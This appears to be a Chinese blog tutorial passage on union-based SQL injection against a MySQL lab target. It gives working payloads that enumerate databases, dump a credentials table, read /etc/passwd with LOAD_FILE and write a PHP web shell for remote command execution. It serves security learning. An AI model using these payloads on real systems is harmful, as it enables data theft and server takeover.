‘ORDER BY 1-- -
结果如下:

我们继续尝试,一次类推,直到我们指定按照第5个字段排序时,提示发生一个错误,如下:

这就说明,原SQL语句查询的表中只有4个字段,到这里我们就判断出来了
使用Union
我们使用Union关键字构造一个新的SQL语句,然后依此添加垃圾值站位,如果查询字段数与原数据表数不一样,就会产生一个错误提示,直到字段数匹配,就不会有错误提示了,我们就能判断出原SQL语句查询的表中的字段数,命令如下:
cn'UNION select 1,2,3-- -结果如下:

我们继续添加,字段数,当添加4个字段数时,页面正常显示,没有错误提示了,如下:
这就说明,原SQL语句查询的表中只有4个字段,到这里我们就判断出来了
到这里我们用两种方法判断出来原SQL语句查询的表有4个字段,接下来我们就要获取数据信息了,我们发现Union SELECT 1,2,3,4但是页面只显示了第2,3,4个字段内容,第1个字段内容未显示,所以我们利用Union注入的时候,只能输出结果到2,3,4字段里去,接下来我们注入我们的payload到第2个字段中,获取当前数据库的版本信息,如下:
cn'UNION select 1,@@version,3,4-- -结果如下:

发现我们成功获取到了数据库的版本信息,到这里我们已经成功利用Union关键字注入了
Tips:@@version用来获取当前数据库的版本信息,这是数据库的一个方法,其他数据库的方法可以参考对应数据库的官网文档
我们已经成功注入payload,并且执行成功了,下面我们来讲解构造不同的payload来达到不同的目的,例如,枚举数据库,获取数据库中的信息等
Payload构造与利用
1.1枚举数据库
这里先简单介绍一下一些识别数据库的方法,如果一个web应用运行在Apache或者Nginx服务器上,并且服务器的操作系统是Linux,那么很可能使用的数据库就是MySQL,如果一个Web应用运行在IIS服务器上,很可能数据库是微软的一种数据库,但也可能是MySQL数据库,所以这里只是简单的猜测下,更佳准确的做法是通过数据库的特征,也叫数据库指纹来来识别对应的数据库,这里以MySQL数据库为例,来介绍下识别MySQL数据库的方法,如下:
payload | 使用场景 | 判断依据 |
SELECT @@version | 结果完全输出 | 输出当前数据库的版本信息,其他数据库会产生错误 |
SELECT POW(1,1) | 结果只能输出数字 | 其他数据库会产生错误 |
SELECT SLEEP(5) | 不回显任何信息 | 其他DBMS不会延时相应 |
1.1.1INFORMATION_SCHEMA 数据库讲解
这个数据库存储了当前服务器上所有数据库名,所有数据库的表名,每一张数据库表中的字段信息,所以这个数据库对于sql注入非常重要,我们可以使用SELECT语句来获取相关信息,命令如下;
SELECT * FROM my_database.users;这个数据表保存了当前服务器上所有数据库名,这个表在INFORMATION_SCHEMA这个数据库中,我们可以使用如下命令,查询当前服务器上的所有数据库
mysql> SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA;结果如下:
+--------------------+
| SCHEMA_NAME |
+--------------------+
| mysql |
| information_schema |
| performance_schema |
| ilfreight |
| dev |
+--------------------+
6 rows in set (0.01 sec)我们使用Union关键字注入来获取这个表信息,构造如下Payload
cn' UNION select 1,schema_name,3,4 from INFORMATION_SCHEMA.SCHEMATA-- -结果如下:

这样我们就得到了当前服务器上的所有数据库了,接下来我们来查询我们当前使用的是哪个数据库,命令如下:
cn' UNION select 1,database(),2,3-- -
结果如下:

我们发现当前使用的是ilfreight这个数据库,那我们能获取其他数据库里的信息吗?现在我们来获取一下dev数据库中的信息,命令如下:
cn' UNION select 1,TABLE_NAME,TABLE_SCHEMA,4 from INFORMATION_SCHEMA.TABLES where table_schema='dev'-- -INFORMATION_SCHEMA.TABLES:TABLES中存储的是当前服务器上所有数据库中的数据表信息
TABLE_NAME:表名
TABLE_SCHEMA:当前表所属的数据库
结果如下:

我们获取到dev数据库中的所有表信息,接下来我们来获取dev数据库中credentials表中字段信息,命令如下:
cn' UNION select 1,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS where table_name='credentials'-- -INFORMATION_SCHEMA.COLUMNS:COLUMNS中存储了当前服务器上所有数据表的字段信息
COLUMN_NAME:字段名
TABLE_NAME:表名
TABLE_SCHEMA:当前表所属数据库
结果如下:
我们发现credentials表中有两个字段,分别是username字段,password字段,接下来我们获取这两个字段的内容,命令如下:
cn' UNION select 1,username,password,4 from dev.credentials-- -Tips:我们使用’.’来指定非当前使用的数据库中的表
结果如下:
到这里,我们对于SQL注入漏洞,利用Union 关键字注入技术,获取到了数据库中的信息
1.2读文件
上一节我们学习了利用Union关键字注入技术获取数据库的信息,这一节我们来讲解下,如何来读取服务器上的文件,这里以MySQL数据库为例讲解
1.2.1权限等级
我们知道对服务器上的一个文件进行读取,首先我们需要拥有READ权限,才能读取文件,在MySQL数据库里,当前使用这个数据库的用户必须要拥有FILE权限才能读取服务器上文件,所以我们首先要知道当前用户,然后再判断当前用户是否具有FILE权限
获取当前用户,payload,如下:
SELECT USER()
SELECT CURRENT_USER()
SELECT user from mysql.user
这里我们使用SELECTUSER()这个payload,命令如下:
cn' UNION SELECT 1, user(), 3, 4-- -结果如下:

我们获取到了当前使用数据库的用户root,下面我们来看下这个用户是否是数据库管理员,
命令如下:
cn' UNION SELECT 1, super_priv, 3, 4 FROM mysql.user WHERE user="root"-- -结果如下:

super_priv:这个字段值用来判断当前用户是否是数据库管理员(DBA)
我们发现super_priv这个字段结果为Y,说明root这个用户是数据库管理员
接下来我们获取当前用户的所有权限,命令如下:
cn' UNION SELECT 1, grantee, privilege_type, 4 FROM information_schema.user_privileges-- -grantee:权限的拥有者
privilege_type:拥有的权限
information_schema.user_privileges:这个表存放所有用户拥有的权限
结果如下:

我们发现当前root用户拥有FILE权限,那么就说明root用户能读取服务器上的文件
现在我们知道当前用户拥有FILE权限,我们使用LOAD_FILE方法来读取服务器上的文件,这个方法需要提供一个文件的路径,我们来尝试下读取/etc/passwd文件,命令如下:
cn' UNION SELECT 1, LOAD_FILE("/etc/passwd"), 3, 4-- -结果如下:

我们发现利用Union关键字注入成功读取了/etc/passwd文件的内容了
Tips:我们在做渗透测试时,可以通过SQL注入漏洞来读取网站源代码,然后进行代码审计,从而发现其他的漏洞加以利用,网页的源代码不会直接显示出来,而是被插入到HTML渲染的页面代码里去,在浏览器中可以右键查看网页源代码查看
1.3写文件
通常数据库默认关闭写文件的设置,因为攻击者可以写入一个Web Shell到服务器上,获取RCE,来执行输入的命令,在写入文件之前,我们需要判断当前数据库的这个用户是否可以写文件到服务器上,我们要对它拥有的权限进行判断
1.3.1判断是否拥有写文件权限
首先我们需要判断,当前数据库的使用用户是否具有FILE权限,然后再查看MYSQL数据库secure_file_priv这个全局变量的值是否设置,最后在写文件服务器上
secure_file_priv这个全局变量的值如果为空,那就说明当前数据库用户拥有读写权限,如果这个值设置为一个默认值,那么我们就不能通过SQL注入读取文件,如果这个值设置为NULL,那么我们就不能读写任何文件
接下来我们读取这个变量的值,命令如下:
cn' UNION SELECT 1, variable_name, variable_value, 4 FROM information_schema.global_variables where variable_name="secure_file_priv"-- -variable_name:变量名
variable_value:变量的值
information_schema.global_variables:这个表存储MYSQL数据库的全局变量
结果如下:

我们发现,这个secure_file_priv这个变量的值为空,这说明当前数据库用户可以往服务器上写文件,下面我们往网站根目录下写入一个文件,命令如下:
cn' union select 1,'file written successfully!',3,4 into outfile '/var/www/html/proof.txt'-- -结果如下:

如果没有任何错误提示,说明写入文件成功,我们现在去访问一下这个文件,看看是否确实写入了这个文件到网站根目录下,浏览器打开URL:http://SERVER_IP:PORT/proof.txt
结果如下:

我们发现我们访问到了这个文件,说明确实写入成功了
Tips:我们可以用””来替换1,3,4,这样只显示我们创建的内容,命令如下:
cn' union select “”,'file written successfully!',””,”” into outfile '/var/www/html/proof.txt'-- -1.3.2写入一个web shell文件
Web shell:<?php system($_REQUEST[0]); ?>
我们构造payload,如下:
cn' union select "",'<?php system($_REQUEST[0]); ?>', "", "" into outfile '/var/www/html/shell.php'-- -构造URL:http://SERVER_IP:PORT/shell.php?0=id
结果如下:

发现我们输入的命令被执行了,至此,关于SQL 注入的基础知识讲解完毕
实战训练
通过上述所学技术,获取远程代码执行(RCE)在目标靶机根目录下(/)找到flag
目标靶机:188.166.168.88:31435(可能已经过期,想实验的可以留言)
Write Up已上传,需要的可以下载,自己先尝试下攻击,祝你成功!
Tips:这是我自己的一些学习总结,本文创作不易,希望可以帮助感兴趣的同学
边栏推荐
- Mathematical modeling and optimization analysis based on general optimization software gams
- Nacos introduction and deployment
- no networks found in /etc/cni/net.d
- SSH远程管理
- Flex layout principle and common parent elements
- mysql如果计算本月变动/本月增幅/同比变动/同比增幅?
- C language function
- OD-Paper【2】:Fast R-CNN
- Development to testing: a six-year road to automation from scratch
- TZC 1283: simple sorting - function method
猜你喜欢

kubernetes install completed

Embedded sharing collection 21

Common solutions for distributed ID - take one

FPGA刷题——序列检测

LAMP架构

C语言函数

ALV report flow diagram

Day011 one dimensional array

Okaleido launched the fusion mining mode, which is the only way for Oka to verify the current output

DOM event flow event bubble event capture event delegate
随机推荐
35. Search the insertion position
Mathematical modeling and optimization analysis based on general optimization software gams
Week 6 Learning Representation: Word Embedding (symbolic →numeric)
Go exceed API source code reading (VI) -- deletesheet (sheet string)
Practical technology of SWAT Model in simulation of hydrology, water resources and non-point source pollution
If MySQL calculates the current month change / current month increase / year-on-year change / year-on-year increase?
C language force buckle question 42 of rain. Four methods - violence, dynamic planning, stack, double pointer
Common solutions for distributed ID - take one
LNMP架构
Embedded sharing collection 21
npm操作指令
Earth system model (cesm) practical technology
Install nccl \ mpirun \ horovod \ NVIDIA tensorflow (3090ti)
Bash shortcut key to improve command line efficiency [Full Version]
Week 6 Learning Representation: Word Embedding (symbolic →numeric)
Use playbook in ansible
手把手教你用代码实现SSO单点登录
no networks found in /etc/cni/net.d
Nacos introduction and deployment
Nacos registry